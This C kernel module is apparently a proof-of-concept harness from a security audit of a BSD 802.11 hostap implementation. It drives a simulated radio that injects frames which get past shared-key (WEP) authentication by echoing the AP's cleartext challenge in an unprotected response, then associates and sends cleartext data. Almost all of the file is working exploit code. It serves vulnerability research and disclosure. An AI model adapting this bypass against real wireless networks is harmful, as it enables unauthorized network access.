/*
 * fw4.c -- software "wifi radio" KLD for the DF-3323 PoC
 * (pass-2 audit of sys/netproto/802_11/wlan/ieee80211_hostap.c).
 *
 * Same harness pattern as findings/poc/DF-3282/fw.c, DF-3312/fw2.c,
 * DF-3314/fw3.c.
 *
 * BUG (DF-3323): 802.11 shared-key authentication is completely
 * bypassable without possessing the WEP key:
 *
 *   hostap_input() (ieee80211_hostap.c:851-880) decrypts an incoming
 *   AUTH frame ONLY when the Protected bit is set, and then CLEARS the
 *   bit before calling iv_recv_mgmt().  hostap_auth_shared()
 *   (:1122-1150) processes a seq==3 (IEEE80211_AUTH_SHARED_RESPONSE)
 *   frame with no way to know whether it arrived encrypted: it just
 *   memcmp()s the challenge IE against ni->ni_challenge -- the very
 *   challenge the AP itself transmitted in CLEARTEXT in its seq-2
 *   response (ieee80211_output.c: add_auth() marks the frame for
 *   encryption only when arg==IEEE80211_AUTH_SHARED_RESPONSE, which
 *   the AP never sends; the seq-2 CHALLENGE frame goes out cleartext,
 *   which is also what 802.11-2016 12.3.3 prescribes for frame 2).
 *
 *   Per 802.11-2016 12.3.3.3 frame 3 of the shared-key exchange MUST
 *   be protected.  An attacker that owns a radio therefore:
 *     1. sends  seq1 (request)            [legitimately cleartext]
 *     2. hears seq2 (challenge) cleartext [AP's own TX]
 *     3. sends  seq3 with that exact challenge, Protected bit NOT set
 *   and the kernel calls ieee80211_node_authorize() (:1149): the
 *   station is authenticated with ZERO knowledge of the WEP key.
 *
 * Attack steps driven by sysctl (RF attacker == us):
 *   sysctl kern.fw4_attack=1   inject AUTH algo=shared seq=1, then
 *                              report the challenge the AP transmitted
 *                              (captured in fw4_raw_xmit)
 *   sysctl kern.fw4_attack=2   inject AUTH algo=shared seq=3 carrying
 *                              the captured challenge, Protected bit
 *                              CLEAR  -> BYPASS if node becomes AUTH
 *   sysctl kern.fw4_attack=3   control: same but one challenge byte
 *                              corrupted -> must NOT authenticate
 *   sysctl kern.fw4_attack=4   inject a follow-on ASSOC_REQ (proves
 *                              association without the key)
 *   sysctl kern.fw4_attack=5   inject a CLEARTEXT TODS data frame
 *                              (delivered to the AP stack when
 *                              DROPUNENC is off, e.g. wepmode mixed)
 *   sysctl kern.fw4_state      dump attacker node state + last TX
 */
#include "opt_wlan.h"

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ifq_var.h>
#include <net/ethernet.h>
#include <net/if_llc.h>

#include <netproto/802_11/ieee80211_var.h>
#include <netproto/802_11/ieee80211_proto.h>
#include <netproto/802_11/ieee80211_input.h>
#include <netproto/802_11/ieee80211_regdomain.h>
#include <netproto/802_11/ieee80211_ratectl.h>
#include <netproto/802_11/ieee80211_dragonfly.h>

struct fw4_softc {
	struct ieee80211com		sc_ic;
	int				fw4_running;
};

static int	fw4_attack = 0;

static struct ieee80211vap *
		fw4_vap_create(struct ieee80211com *, const char [IFNAMSIZ], int,
		    enum ieee80211_opmode, int, const uint8_t [IEEE80211_ADDR_LEN],
		    const uint8_t [IEEE80211_ADDR_LEN]);
static void	fw4_vap_delete(struct ieee80211vap *);
static void	fw4_parent(struct ieee80211com *);
static int	fw4_raw_xmit(struct ieee80211_node *, struct mbuf *,
		    const struct ieee80211_bpf_params *);
static int	fw4_transmit(struct ieee80211com *, struct mbuf *);
static void	fw4_nop_ic(struct ieee80211com *);
static int	fw4_wme_nop(struct ieee80211com *);

static struct fw4_softc *fw4_sc = NULL;

static const uint8_t fw4_attacker[IEEE80211_ADDR_LEN] =
    { 0x02, 0x00, 0xde, 0xad, 0xbe, 0xef };
static const uint8_t fw4_dst[IEEE80211_ADDR_LEN] =
    { 0x02, 0x00, 0xca, 0xfe, 0x00, 0x02 };

/* ---- capture of what the AP transmits (what an RF attacker hears) ---- */
static int	fw4_tx_last_subtype = -1;
static int	fw4_tx_last_seq = -1;
static int	fw4_tx_last_status = -1;
static int	fw4_tx_last_challenge_len = -1;
static uint8_t	fw4_tx_challenge[IEEE80211_CHALLENGE_LEN];
static int	fw4_tx_auth_frames = 0;

static struct ieee80211vap *
fw4_vap_create(struct ieee80211com *ic, const char name[IFNAMSIZ], int unit,
    enum ieee80211_opmode opmode, int flags,
    const uint8_t bssid[IEEE80211_ADDR_LEN],
    const uint8_t mac[IEEE80211_ADDR_LEN])
{
	struct ieee80211vap *vap;
	int nvaps = 0;
	struct ieee80211vap *vp;

	TAILQ_FOREACH(vp, &ic->ic_vaps, iv_next)
		nvaps++;

	switch (opmode) {
	case IEEE80211_M_STA:
	case IEEE80211_M_IBSS:
	case IEEE80211_M_AHDEMO:
	case IEEE80211_M_HOSTAP:
	case IEEE80211_M_MONITOR:
		if (nvaps >= 4) {
			kprintf("fw4: max 4 vaps\n");
			return NULL;
		}
		break;
	default:
		kprintf("fw4: opmode %d not supported\n", opmode);
		return NULL;
	}
	vap = kmalloc(sizeof(struct ieee80211vap), M_80211_VAP,
	    M_WAITOK | M_ZERO);
	ieee80211_vap_setup(ic, vap, name, unit, opmode, flags, bssid);

	ieee80211_ratectl_init(vap);
	ieee80211_vap_attach(vap, ieee80211_media_change,
	    ieee80211_media_status, mac);
	return vap;
}

static void
fw4_vap_delete(struct ieee80211vap *vap)
{
	ieee80211_ratectl_deinit(vap);
	ieee80211_vap_detach(vap);
	kfree(vap, M_80211_VAP);
}

static void
fw4_parent(struct ieee80211com *ic)
{
	struct fw4_softc *sc = ic->ic_softc;
	int startall = 0;

	if (ic->ic_nrunning > 0) {
		if (!sc->fw4_running) {
			sc->fw4_running = 1;
			startall = 1;
		}
	} else
		sc->fw4_running = 0;
	if (startall)
		ieee80211_start_all(ic);
}

/*
 * The AP's air interface: parse what the kernel hands us to transmit
 * (the attacker's sniffer) and reclaim the mbuf/node.
 */
static int
fw4_raw_xmit(struct ieee80211_node *ni, struct mbuf *m,
    const struct ieee80211_bpf_params *params)
{
	struct ieee80211_frame *wh;
	uint8_t *frm, *efrm;
	int subtype;

	if (params != NULL)
		;
	wh = mtod(m, struct ieee80211_frame *);
	subtype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;

	if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) ==
	    IEEE80211_FC0_TYPE_MGT) {
		fw4_tx_last_subtype = subtype;
		if (subtype == IEEE80211_FC0_SUBTYPE_AUTH &&
		    m->m_len >= sizeof(*wh) + 6) {
		frm = (uint8_t *)&wh[1];
		efrm = mtod(m, uint8_t *) + m->m_len;
		fw4_tx_last_seq =
		    le16toh(*(uint16_t *)(frm + 2)) & 0xffff;
		fw4_tx_last_status = le16toh(*(uint16_t *)(frm + 4));
		fw4_tx_last_challenge_len = -1;
		fw4_tx_auth_frames++;
		/* walk the IEs for a challenge element (id 128) */
		frm += 6;
		while (efrm - frm > 1) {
			if (frm[0] == IEEE80211_ELEMID_CHALLENGE) {
				int clen = frm[1] < IEEE80211_CHALLENGE_LEN ?
				    frm[1] : IEEE80211_CHALLENGE_LEN;
				memcpy(fw4_tx_challenge, frm + 2, clen);
				fw4_tx_last_challenge_len = frm[1];
				break;
			}
			frm += frm[1] + 2;
		}
		kprintf("fw4[air]: AP TX AUTH seq=%d status=%d "
		    "challenge_ie_len=%d protected=%d\n",
		    fw4_tx_last_seq, fw4_tx_last_status,
		    fw4_tx_last_challenge_len,
		    (wh->i_fc[1] & IEEE80211_FC1_PROTECTED) ? 1 : 0);
		} else
			kprintf("fw4[air]: AP TX MGMT subtype 0x%x\n",
			    subtype);
	}
	m_freem(m);
	ieee80211_free_node(ni);
	return 0;
}

static int
fw4_transmit(struct ieee80211com *ic, struct mbuf *m)
{
	struct mbuf *n;

	while (m != NULL) {
		n = m->m_nextpkt;
		m->m_nextpkt = NULL;
		if (m->m_pkthdr.rcvif != NULL)
			ieee80211_tx_complete(
			    (struct ieee80211_node *)m->m_pkthdr.rcvif, m, 0);
		else
			m_freem(m);
		m = n;
	}
	return 0;
}

static void
fw4_nop_ic(struct ieee80211com *ic)
{
}

static int
fw4_wme_nop(struct ieee80211com *ic)
{
	return 0;
}

static struct ieee80211vap *
fw4_find_hostap(void)
{
	struct fw4_softc *sc = fw4_sc;
	struct ieee80211vap *vap, *ap = NULL;

	if (sc == NULL)
		return NULL;
	TAILQ_FOREACH(vap, &sc->sc_ic.ic_vaps, iv_next) {
		if (vap->iv_opmode == IEEE80211_M_HOSTAP)
			ap = vap;
	}
	if (ap == NULL) {
		kprintf("fw4: no hostap vap\n");
		return NULL;
	}
	if (ap->iv_state != IEEE80211_S_RUN) {
		kprintf("fw4: vap %s not RUN (state %d)\n",
		    ap->iv_ifp->if_xname, ap->iv_state);
		return NULL;
	}
	return ap;
}

/* dump the attacker's node state exactly as an observer would see it */
static void
fw4_dump_state(const char *tag)
{
	struct fw4_softc *sc = fw4_sc;
	struct ieee80211_node *ni;

	if (sc == NULL)
		return;
	ni = ieee80211_find_node(&sc->sc_ic.ic_sta, fw4_attacker);
	if (ni == NULL) {
		kprintf("fw4.state[%s]: attacker NOT in node table\n", tag);
		return;
	}
	kprintf("fw4.state[%s]: node %p flags 0x%x authmode %d "
	    "AUTHORIZED=%d associd 0x%x challenge=%p%s\n",
	    tag, ni, ni->ni_flags, ni->ni_authmode,
	    ieee80211_node_is_authorized(ni) ? 1 : 0,
	    ni->ni_associd, ni->ni_challenge,
	    ieee80211_node_is_authorized(ni) ? "   <<<< BYPASSED" : "");
	ieee80211_free_node(ni);
}

static int
fw4_attack_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct ieee80211vap *ap;
	struct ieee80211_node *ni;
	struct ieee80211_rx_stats rx;
	struct ieee80211_frame *wh;
	struct mbuf *m;
	uint8_t *frm;
	int error, kind, len, i;

	error = sysctl_handle_int(oidp, &fw4_attack, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	kind = fw4_attack;
	fw4_attack = 0;
	if (kind <= 0)
		return 0;

	ap = fw4_find_hostap();
	if (ap == NULL)
		return ENXIO;

	m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
	frm = mtod(m, uint8_t *);
	wh = (struct ieee80211_frame *)frm;
	wh->i_fc[1] = IEEE80211_FC1_DIR_NODS;	/* NOT protected */
	*(uint16_t *)wh->i_dur = 0;
	IEEE80211_ADDR_COPY(wh->i_addr1, ap->iv_myaddr);
	IEEE80211_ADDR_COPY(wh->i_addr2, fw4_attacker);
	IEEE80211_ADDR_COPY(wh->i_addr3, ap->iv_bss->ni_bssid);
	*(uint16_t *)wh->i_seq = 0;
	frm += sizeof(*wh);

	if (kind == 5) {
		/* clear-text TODS data frame (LLC/SNAP, ethertype 0x9000) */
		struct llc *l;
		wh->i_fc[0] = IEEE80211_FC0_VERSION_0 |
		    IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
		wh->i_fc[1] = IEEE80211_FC1_DIR_TODS;
		IEEE80211_ADDR_COPY(wh->i_addr1, ap->iv_bss->ni_bssid);
		IEEE80211_ADDR_COPY(wh->i_addr3, fw4_dst);
		l = (struct llc *)frm;
		l->llc_dsap = LLC_SNAP_LSAP;
		l->llc_ssap = LLC_SNAP_LSAP;
		l->llc_control = LLC_UI;
		l->llc_snap.org_code[0] = 0;
		l->llc_snap.org_code[1] = 0;
		l->llc_snap.org_code[2] = 0;
		l->llc_snap.ether_type = htons(0x9000);
		frm += sizeof(struct llc);
		for (i = 0; i < 8; i++)
			frm[i] = 0xa5;
		frm += 8;
		ni = ieee80211_find_node(&ap->iv_ic->ic_sta, fw4_attacker);
		if (ni == NULL || ni->ni_associd == 0) {
			kprintf("fw4.data: attacker not associated; "
			    "run fw4_attack=4 first\n");
			if (ni != NULL)
				ieee80211_free_node(ni);
			m_freem(m);
			return 0;
		}
	} else {
		wh->i_fc[0] = IEEE80211_FC0_VERSION_0 |
		    IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
		if (kind == 4) {
			/* assoc req: SSID + rates, as fw3 did */
			wh->i_fc[0] = IEEE80211_FC0_VERSION_0 |
			    IEEE80211_FC0_TYPE_MGT |
			    IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
			frm[0] = 0x01; frm[1] = 0x00;	/* capinfo: ESS */
			frm[2] = 10;    frm[3] = 0;	/* listen int */
			frm += 4;
			*frm++ = 0;
			*frm++ = ap->iv_bss->ni_esslen;
			memcpy(frm, ap->iv_bss->ni_essid,
			    ap->iv_bss->ni_esslen);
			frm += ap->iv_bss->ni_esslen;
			*frm++ = IEEE80211_ELEMID_RATES;
			*frm++ = 4;
			frm[0] = 0x02; frm[1] = 0x04;
			frm[2] = 0x0b; frm[3] = 0x16;
			frm += 4;
			ni = ieee80211_find_node(&ap->iv_ic->ic_sta,
			    fw4_attacker);
			if (ni == NULL) {
				/* control case: no node exists; inject with
				 * iv_bss as find_rxnode would for an
				 * unknown sender */
				kprintf("fw4.assoc: no attacker node; "
				    "injecting via iv_bss (control)\n");
				ni = ieee80211_ref_node(ap->iv_bss);
			}
		} else {
			/* shared-key AUTH */
			frm[0] = (kind == 6) ?
			    IEEE80211_AUTH_ALG_OPEN :
			    IEEE80211_AUTH_ALG_SHARED;
			frm[1] = 0;
			frm[2] = (kind == 6) ? 1 :
			    (kind == 1) ?
			    IEEE80211_AUTH_SHARED_REQUEST :
			    IEEE80211_AUTH_SHARED_RESPONSE;
			frm[3] = 0;
			frm[4] = 0; frm[5] = 0;		/* status 0 */
			frm += 6;
			if (kind == 1 || kind == 6) {
				ni = ieee80211_ref_node(ap->iv_bss);
			} else {
				/* echo the challenge we captured off the
				 * air from the AP's seq-2 frame */
				if (fw4_tx_last_challenge_len !=
				    IEEE80211_CHALLENGE_LEN) {
					kprintf("fw4: no captured challenge; "
					    "run fw4_attack=1 first\n");
					m_freem(m);
					return 0;
				}
				*frm++ = IEEE80211_ELEMID_CHALLENGE;
				*frm++ = IEEE80211_CHALLENGE_LEN;
				memcpy(frm, fw4_tx_challenge,
				    IEEE80211_CHALLENGE_LEN);
				if (kind == 3)
					frm[0] ^= 0xff;	/* control: corrupt */
				frm += IEEE80211_CHALLENGE_LEN;
				ni = ieee80211_find_node(&ap->iv_ic->ic_sta,
				    fw4_attacker);
				if (ni == NULL) {
					kprintf("fw4: attacker node missing "
					    "(run fw4_attack=1 first)\n");
					m_freem(m);
					return 0;
				}
			}
		}
	}
	len = frm - mtod(m, uint8_t *);
	m->m_len = m->m_pkthdr.len = len;

	memset(&rx, 0, sizeof(rx));
	rx.r_flags = IEEE80211_R_NF | IEEE80211_R_RSSI;
	rx.c_rssi = -40;
	rx.c_nf = -95;

	kprintf("fw4.attack=%d: injecting %d-byte frame (%s) to %s\n",
	    kind, len,
	    kind == 6 ? "AUTH open seq1" :
	    kind == 1 ? "AUTH shared seq1" :
	    kind == 2 ? "AUTH shared seq3 +captured challenge, CLEARTEXT" :
	    kind == 3 ? "AUTH shared seq3 +corrupt challenge, CLEARTEXT" :
	    kind == 4 ? "ASSOC_REQ" :
	    "DATA TODS cleartext",
	    ap->iv_ifp->if_xname);

	wlan_serialize_enter();
	ieee80211_input_mimo(ni, m, &rx);
	ieee80211_free_node(ni);
	wlan_serialize_exit();

	switch (kind) {
	case 1:
		kprintf("fw4.attack=1 done: captured challenge "
		    "(len %d) off the air; AP tx seq=%d status=%d\n",
		    fw4_tx_last_challenge_len, fw4_tx_last_seq,
		    fw4_tx_last_status);
		break;
	case 2:
	case 3:
		kprintf("fw4.attack=%d done: AP last tx AUTH seq=%d "
		    "status=%d\n", kind, fw4_tx_last_seq,
		    fw4_tx_last_status);
		break;
	case 4:
		fw4_dump_state("after-assoc");
		break;
	case 5:
		kprintf("fw4.attack=5 done: check wlan ipackets counter\n");
		break;
	}
	fw4_dump_state("current");
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw4_attack, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw4_attack_sysctl, "I",
    "fw4 PoC: 1=req 2=captured-challenge-resp 3=corrupt-challenge-resp "
    "4=assoc 5=cleartext-data");

static int
fw4_state_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	kprintf("fw4: total AP AUTH frames transmitted: %d\n",
	    fw4_tx_auth_frames);
	fw4_dump_state("state");
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw4_state, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw4_state_sysctl, "I", "fw4: dump attacker node state");

static int
fw4_modevent(module_t mod, int type, void *data)
{
	struct fw4_softc *sc;
	struct ieee80211com *ic;
	uint8_t bands[IEEE80211_MODE_BYTES];

	switch (type) {
	case MOD_LOAD:
		sc = kmalloc(sizeof(struct fw4_softc), M_DEVBUF,
		    M_WAITOK | M_ZERO);
		ic = &sc->sc_ic;
		ic->ic_softc = sc;
		ic->ic_name = "fw4_0";
		ic->ic_opmode = IEEE80211_M_STA;
		ic->ic_phytype = IEEE80211_T_OFDM;
		ic->ic_caps =
			  IEEE80211_C_STA
			| IEEE80211_C_IBSS
			| IEEE80211_C_AHDEMO
			| IEEE80211_C_HOSTAP
			| IEEE80211_C_MONITOR
			| IEEE80211_C_SHPREAMBLE
			| IEEE80211_C_SHSLOT
			| IEEE80211_C_TXFRAG
			;
		ic->ic_txstream = 1;
		ic->ic_rxstream = 1;
		memset(bands, 0, sizeof(bands));
		setbit(bands, IEEE80211_MODE_11B);
		setbit(bands, IEEE80211_MODE_11G);
		ieee80211_init_channels(ic, NULL, bands);

		ic->ic_macaddr[0] = 0x02; ic->ic_macaddr[1] = 0x00;
		ic->ic_macaddr[2] = 0x00; ic->ic_macaddr[3] = 0x00;
		ic->ic_macaddr[4] = 0x00; ic->ic_macaddr[5] = 0xf4;

		ic->ic_vap_create = fw4_vap_create;
		ic->ic_vap_delete = fw4_vap_delete;
		ic->ic_parent = fw4_parent;
		ic->ic_scan_start = fw4_nop_ic;
		ic->ic_scan_end = fw4_nop_ic;
		ic->ic_set_channel = fw4_nop_ic;
		ic->ic_updateslot = fw4_nop_ic;
		ic->ic_wme.wme_update = fw4_wme_nop;

		ieee80211_ifattach(ic);
		/* NB: after ifattach -- proto_attach() overwrites these */
		ic->ic_raw_xmit = fw4_raw_xmit;
		ic->ic_transmit = fw4_transmit;
		fw4_sc = sc;
		kprintf("fw4: fake legacy wifi radio attached (fw4_0, 11bg)\n");
		return 0;
	case MOD_UNLOAD:
		sc = fw4_sc;
		if (sc == NULL)
			return 0;
		if (!TAILQ_EMPTY(&sc->sc_ic.ic_vaps)) {
			kprintf("fw4: vap still active, refusing unload\n");
			return EBUSY;
		}
		ieee80211_ifdetach(&sc->sc_ic);
		kfree(sc, M_DEVBUF);
		fw4_sc = NULL;
		kprintf("fw4: detached\n");
		return 0;
	}
	return 0;
}

static moduledata_t fw4_mod = { "fw4", fw4_modevent, 0 };
DECLARE_MODULE(fw4, fw4_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(fw4, wlan, 1, 1, 1);
